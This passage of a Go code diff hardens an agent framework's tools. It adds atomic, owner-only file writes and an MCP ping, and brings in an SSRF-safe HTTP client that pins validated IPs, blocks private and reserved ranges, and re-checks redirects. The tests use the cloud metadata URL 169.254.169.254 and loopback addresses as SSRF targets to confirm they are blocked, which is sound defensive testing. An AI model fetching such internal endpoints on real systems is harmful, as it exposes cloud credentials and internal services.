tool := &EditFileTool{}
in, _ := json.Marshal(map[string]string{"path": p, "old_string": "a", "new_string": "b"})
res, err := tool.Execute(context.Background(), in)
require.NoError(t, err)
require.Contains(t, res.Error, "too large")
}
func TestReadFile_HonorsCancelledContext(t *testing.T) {
dir := t.TempDir()
p := filepath.Join(dir, "f.txt")
require.NoError(t, os.WriteFile(p, []byte("hello"), 0o600))
ctx, cancel := context.WithCancel(context.Background())
cancel()
tool := &ReadFileTool{}
in, _ := json.Marshal(map[string]string{"path": p})
res, err := tool.Execute(ctx, in)
require.NoError(t, err)
require.NotEmpty(t, res.Error, "cancelled ctx must short-circuit")
}
func TestEditFile_HonorsCancelledContext(t *testing.T) {
dir := t.TempDir()
p := filepath.Join(dir, "f.txt")
require.NoError(t, os.WriteFile(p, []byte("hello"), 0o600))
ctx, cancel := context.WithCancel(context.Background())
cancel()
tool := &EditFileTool{}
in, _ := json.Marshal(map[string]string{"path": p, "old_string": "h", "new_string": "H"})
res, err := tool.Execute(ctx, in)
require.NoError(t, err)
require.NotEmpty(t, res.Error, "cancelled ctx must short-circuit")
}
+1 -1
View File
@@ -72,7 +72,7 @@ func (t *WriteFileTool) Execute(_ context.Context, input json.RawMessage) (tool.
return tool.ToolResult{Error: fmt.Sprintf("failed to create directory: %v", err)}, nil
}
if err := os.WriteFile(in.Path, []byte(in.Content), 0o644); err != nil {
if err := tool.WriteFileAtomic(in.Path, []byte(in.Content), 0o600); err != nil {
return tool.ToolResult{Error: fmt.Sprintf("failed to write file: %v", err)}, nil
}
+26
View File
@@ -0,0 +1,26 @@
package file
import (
"context"
"encoding/json"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestWriteFileIsRestrictive(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "secret.txt")
tool := &WriteFileTool{WorkDir: dir}
in, _ := json.Marshal(map[string]string{"path": path, "content": "data"})
res, err := tool.Execute(context.Background(), in)
require.NoError(t, err)
require.Empty(t, res.Error)
info, err := os.Stat(path)
require.NoError(t, err)
require.Equal(t, os.FileMode(0o600), info.Mode().Perm())
}
+7
View File
@@ -125,6 +125,13 @@ func (c *Client) Tools() []tool.Tool { return c.tools }
// Name returns the configured server name.
func (c *Client) Name() string { return c.name }
// Ping verifies the session is alive by sending an MCP ping. A non-nil
// error means the session (and for stdio servers, likely the child
// process) is no longer usable.
func (c *Client) Ping(ctx context.Context) error {
return c.session.Ping(ctx, nil)
}
// Close releases the underlying MCP session. Safe to call multiple
// times — subsequent calls are no-ops.
func (c *Client) Close() error {
+23
View File
@@ -150,6 +150,29 @@ func TestMCPClient_ConnectDiscovers(t *testing.T) {
assert.ElementsMatch(t, []string{"mcp__srv__a", "mcp__srv__b"}, got)
}
func TestMCPClient_PingLiveAndDead(t *testing.T) {
// Built inline (not via startInProcessServer) because the test needs the
// server session to kill the connection mid-life.
ctx := context.Background()
server := sdk.NewServer(&sdk.Implementation{Name: "test-server", Version: "v0"}, nil)
tf := stringArgTool("noop", "no-op", func(_ context.Context, _ *sdk.CallToolRequest) (*sdk.CallToolResult, error) {
return &sdk.CallToolResult{Content: []sdk.Content{&sdk.TextContent{Text: ""}}}, nil
})
server.AddTool(tf.Tool, tf.Handler)
clientTransport, serverTransport := sdk.NewInMemoryTransports()
serverSession, err := server.Connect(ctx, serverTransport, nil)
require.NoError(t, err)
cli, err := connectWithTransport(ctx, "srv", clientTransport, nil)
require.NoError(t, err)
t.Cleanup(func() { _ = cli.Close() })
require.NoError(t, cli.Ping(ctx), "ping against a live session must succeed")
require.NoError(t, serverSession.Close())
assert.Error(t, cli.Ping(ctx), "ping after the server side died must fail")
}
func TestMCPClient_CloseIsIdempotent(t *testing.T) {
cli := startInProcessServer(t, "srv", []sdkToolFixture{
stringArgTool("noop", "no-op", func(_ context.Context, _ *sdk.CallToolRequest) (*sdk.CallToolResult, error) {
+66
View File
@@ -0,0 +1,66 @@
package web
import (
"context"
"fmt"
"net"
"net/http"
"time"
)
// SafeHTTPClient returns an *http.Client whose transport resolves and validates
// the destination host, then dials the exact validated IP — closing the
// TOCTOU/DNS-rebinding window where a stock http.Client would re-resolve the
// hostname independently of ValidateURLNotInternal. Redirects are re-validated.
func SafeHTTPClient(timeout time.Duration) *http.Client {
dialer := &net.Dialer{Timeout: timeout}
transport := &http.Transport{
Proxy: http.ProxyFromEnvironment,
DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {
host, port, err := net.SplitHostPort(addr)
if err != nil {
return nil, err
}
ips, err := net.DefaultResolver.LookupIP(ctx, "ip", host)
if err != nil {
return nil, fmt.Errorf("cannot resolve %q — blocking to prevent SSRF", host)
}
// Fail closed: if ANY resolved IP is private, refuse — this defeats
// DNS-rebinding where one A record is public and another is private.
for _, ip := range ips {
if isPrivateIP(ip) {
return nil, fmt.Errorf("access to internal address %s (%s) is blocked", host, ip)
}
}
if len(ips) == 0 {
return nil, fmt.Errorf("no usable address for %q", host)
}
// Try each validated public IP in order, falling back on dial
// failure so dual-stack hosts still connect on IPv4-only or
// IPv6-broken networks (stock happy-eyeballs is bypassed because we
// dial literal IPs to pin the validated address).
var lastErr error
for _, ip := range ips {
conn, derr := dialer.DialContext(ctx, network, net.JoinHostPort(ip.String(), port))
if derr == nil {
return conn, nil
}
lastErr = derr
}
return nil, lastErr
},
}
return &http.Client{
Timeout: timeout,
Transport: transport,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 10 {
return fmt.Errorf("too many redirects (max 10)")
}
if err := ValidateURLNotInternal(req.URL.String()); err != nil {
return fmt.Errorf("redirect blocked: %w", err)
}
return nil
},
}
}
+54
View File
@@ -0,0 +1,54 @@
package web
import (
"net"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/stretchr/testify/require"
)
func TestSafeHTTPClient_BlocksPrivateAtDial(t *testing.T) {
client := SafeHTTPClient(5 * time.Second)
// 127.0.0.1 is itself private, so dialing it directly must be refused.
_, err := client.Get("http://127.0.0.1:9/")
require.Error(t, err)
require.Contains(t, err.Error(), "internal address")
}
func TestSafeHTTPClient_AllowsPublic(t *testing.T) {
client := SafeHTTPClient(5 * time.Second)
tr, ok := client.Transport.(*http.Transport)
require.True(t, ok)
require.NotNil(t, tr.DialContext)
require.NotNil(t, client.CheckRedirect)
require.Equal(t, 5*time.Second, client.Timeout)
}
func TestSafeHTTPClient_RedirectToPrivateBlocked(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "http://169.254.169.254/latest/meta-data/", http.StatusFound)
}))
defer srv.Close()
client := SafeHTTPClient(5 * time.Second)
// The httptest server binds loopback (private), so the FIRST dial is already blocked.
_, err := client.Get(srv.URL)
require.Error(t, err)
}
func TestSafeHTTPClient_PublicUnreachableReturnsDialError(t *testing.T) {
// 192.0.2.1 is RFC5737 TEST-NET-1 (public, unrouteable). It is NOT in the
// private blocklist, so validation passes and we should get a DIAL error
// (timeout/unreachable), not a "blocked" validation error — proving the
// path dials rather than rejecting.
client := SafeHTTPClient(2 * time.Second)
_, err := client.Get("http://192.0.2.1/")
require.Error(t, err)
require.NotContains(t, err.Error(), "internal address")
}
var _ = isPrivateIP(net.IPv4(127, 0, 0, 1))
var _ = strings.TrimSpace
+4
View File
@@ -14,9 +14,13 @@ var privateNetworks = []string{
"172.16.0.0/12", // RFC 1918
"192.168.0.0/16", // RFC 1918
"169.254.0.0/16", // link-local
"0.0.0.0/8", // "this" network / unspecified; routes to loopback on Linux
"100.64.0.0/10", // CGNAT (RFC 6598)
"192.0.0.0/24", // IETF protocol assignments (RFC 6890)
"::1/128", // IPv6 loopback
"fc00::/7", // IPv6 unique local
"fe80::/10", // IPv6 link-local
"::/128", // IPv6 unspecified
}
var parsedPrivateNets []*net.IPNet
+27
View File
@@ -1,10 +1,12 @@
package web
import (
"net"
"strings"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
)
func TestValidateURLNotInternal_BlocksLoopback(t *testing.T) {
@@ -45,3 +47,28 @@ func TestValidateURLNotInternal_RejectsBadScheme(t *testing.T) {
assert.Error(t, err, "non-http schemes must be rejected")
_ = strings.TrimSpace(err.Error())
}
func TestIsPrivateIP_BlocksReservedRanges(t *testing.T) {
blocked := []string{
"0.0.0.0", // unspecified / routes to loopback on Linux
"0.0.0.1", // 0.0.0.0/8
"100.64.0.0", // CGNAT 100.64.0.0/10
"100.127.255.255", // CGNAT upper
"192.0.0.1", // 192.0.0.0/24 IETF protocol assignments
"::", // IPv6 unspecified ::/128
}
for _, s := range blocked {
ip := net.ParseIP(s)
require.NotNil(t, ip, "parse %s", s)
require.True(t, isPrivateIP(ip), "%s must be treated as private/blocked", s)
}
}
func TestIsPrivateIP_AllowsPublic(t *testing.T) {
pub := []string{"8.8.8.8", "1.1.1.1", "93.184.216.34", "2606:2800:220:1:248:1893:25c8:1946"}
for _, s := range pub {
ip := net.ParseIP(s)
require.NotNil(t, ip, "parse %s", s)
require.False(t, isPrivateIP(ip), "%s must be allowed (public)", s)
}
}
+1 -13
View File
@@ -85,19 +85,7 @@ func (t *WebFetchTool) Execute(ctx context.Context, input json.RawMessage) (tool
req.Header.Set(k, v)
}
client := &http.Client{
Timeout: fetchTimeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 10 {
return fmt.Errorf("too many redirects (max 10)")
}
// Re-validate each redirect destination against SSRF blocklist
if err := ValidateURLNotInternal(req.URL.String()); err != nil {
return fmt.Errorf("redirect blocked: %w", err)
}
return nil
},
}
client := SafeHTTPClient(fetchTimeout)
resp, err := client.Do(req)
if err != nil {
+16
View File
@@ -0,0 +1,16 @@
package web
import (
"context"
"testing"
"github.com/stretchr/testify/require"
)
func TestWebFetch_BlocksPrivateHost(t *testing.T) {
tool := &WebFetchTool{}
res, err := tool.Execute(context.Background(),
[]byte(`{"url":"http://169.254.169.254/latest/meta-data/"}`))
require.NoError(t, err)
require.NotEmpty(t, res.Error, "private metadata IP must be rejected")
}
+8 -7
View File
@@ -4,6 +4,7 @@ import (
"context"
"encoding/json"
"fmt"
"html"
"io"
"net/http"
"net/url"
@@ -14,6 +15,11 @@ import (
const searchTimeout = 15 * time.Second
// searchClient is the shared SSRF-safe HTTP client for all web_search
// backends. It pins the validated IP and re-validates redirects, bringing
// web_search to parity with web_fetch. (N4)
var searchClient = SafeHTTPClient(searchTimeout)
// WebSearchTool searches the web and returns results via a configurable
// backend. The default backend (when Backend is nil) scrapes DuckDuckGo's
// HTML interface — no API key required, but fragile to upstream HTML
@@ -131,7 +137,7 @@ func duckDuckGoSearch(ctx context.Context, query string, maxResults int) ([]sear
}
req.Header.Set("User-Agent", "harness/1.0 (Go agent framework)")
resp, err := http.DefaultClient.Do(req)
resp, err := searchClient.Do(req)
if err != nil {
return nil, err
}
@@ -266,11 +272,6 @@ func cleanHTMLText(s string) string {
}
}
result := out.String()
result = strings.ReplaceAll(result, "&amp;", "&")
result = strings.ReplaceAll(result, "&lt;", "<")
result = strings.ReplaceAll(result, "&gt;", ">")
result = strings.ReplaceAll(result, "&quot;", `"`)
result = strings.ReplaceAll(result, "&#x27;", "'")
result = strings.ReplaceAll(result, "&nbsp;", " ")
result = html.UnescapeString(result)
return strings.TrimSpace(result)
}
+7 -3
View File
@@ -17,6 +17,10 @@ import (
// are constructed with their config (API key, base URL, etc.) at
// registration time and remain immutable thereafter. This keeps the tool
// dispatch path zero-allocation in the hot loop.
//
// Implementations that make outbound HTTP calls MUST use the package
// searchClient (SafeHTTPClient) so a configured/typo'd internal base URL
// cannot be used for SSRF. (N4)
type WebSearchBackend interface {
Name() string
Search(ctx context.Context, query string, maxResults int) ([]searchResult, error)
@@ -58,7 +62,7 @@ func (b *braveBackend) Search(ctx context.Context, q string, n int) ([]searchRes
}
req.Header.Set("Accept", "application/json")
req.Header.Set("X-Subscription-Token", b.apiKey)
resp, err := http.DefaultClient.Do(req)
resp, err := searchClient.Do(req)
if err != nil {
return nil, err
}
@@ -119,7 +123,7 @@ func (b *tavilyBackend) Search(ctx context.Context, q string, n int) ([]searchRe
return nil, err
}
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
resp, err := searchClient.Do(req)
if err != nil {
return nil, err
}
@@ -169,7 +173,7 @@ func (b *searxngBackend) Search(ctx context.Context, q string, n int) ([]searchR
if err != nil {
return nil, err
}
resp, err := http.DefaultClient.Do(req)
resp, err := searchClient.Do(req)
if err != nil {
return nil, err
}
+37
View File
@@ -0,0 +1,37 @@
package web
import (
"context"
"testing"
"time"
"github.com/stretchr/testify/require"
)
func testCtx(t *testing.T) context.Context {
t.Helper()
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
t.Cleanup(cancel)
return ctx
}
func TestSearchClient_IsSafe(t *testing.T) {
require.NotNil(t, searchClient)
require.NotNil(t, searchClient.Transport)
require.NotNil(t, searchClient.CheckRedirect)
require.Equal(t, searchTimeout, searchClient.Timeout)
}
func TestSearxng_BlocksPrivateBaseURL(t *testing.T) {
b := newSearxngBackend("http://127.0.0.1:8080")
_, err := b.Search(testCtx(t), "hello", 3)
require.Error(t, err)
}
func TestCleanHTMLText_DecodesNumericEntities(t *testing.T) {
out := cleanHTMLText("<b>caf&#233;</b> &amp; t&#8217;is &nbsp;done")
require.Contains(t, out, "café")
require.Contains(t, out, "&", "amp must decode")
require.Contains(t, out, "t’is", "numeric entity must decode")
require.NotContains(t, out, "&#", "no raw numeric entities remain")
}